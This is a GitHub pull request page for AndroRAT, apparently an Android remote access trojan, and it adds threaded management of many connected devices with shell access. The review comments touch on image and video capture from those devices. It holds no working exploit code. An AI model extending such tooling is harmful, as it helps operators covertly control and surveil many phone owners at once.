Skip to content

Threaded multi-client session management#436

Open
superswan wants to merge 2 commits into
karma9874:masterfrom
superswan:feature/multi-client
Open

Threaded multi-client session management#436
superswan wants to merge 2 commits into
karma9874:masterfrom
superswan:feature/multi-client

Conversation

@superswan
Copy link
Copy Markdown

Adds multi client functionality and new top menu for managing sessoins. Sessions are given a unique ID and can be listed and accessed with list and attach commands. Normal AndroRAT interpreter on each session with shell support.

Recommend making upstream branch in case users still want single-session support. Kind of a quick hack, not sure how you would toggle session modes since I had to change get_shell() a lot.

Comment thread utlils.py Outdated
- By karma9874
"""

pattern = '\"(\\d+\\.\\d+).*\"'
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not used?

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi

Comment thread utlils.py Outdated
print("Unknown command. Type 'help' for available commands.\n")


# this function is no longer needed with the new threaded model
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Commented out code

Comment thread utlils.py Outdated
sys.exit()

java_version = execute("java -version")
if java_version.returncode:
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bonus point for failing if version < 8

Comment thread utlils.py Outdated
flag = 1
print(stdOutput("error")+"Not able to decode the Video File\n")
if flag == 1:
os.remove("Video_"+timestr+'.mp4')
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On decode failure, it attempts to remove "Video_"+timestr+'.mp4', but the file was written to "Dumps"+direc+"Video_"+timestr+'.mp4'.

Comment thread utlils.py Outdated
print(stdOutput("info")+"\033[0mTaking Image")
timestr = time.strftime("%Y%m%d-%H%M%S")
flag=0
filename ="Dumps"+direc+"Image_"+timestr+'.jpg'
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How about using os.path.join for Paths

Comment thread utlils.py Outdated
return bool(m) and all(map(lambda n: 0 <= int(n) <= 255, m.groups()))

def is_valid_port(port):
i = 1 if port.isdigit() and len(port)>1 else 0
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

1 is valid port, despite sounding strange. Range of assignable port is 1-65535

@superswan
Copy link
Copy Markdown
Author

Sorry, I rushed to push this commit. Mistakenly left wrong utils.py I developed with original code side by side across multiple machines.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants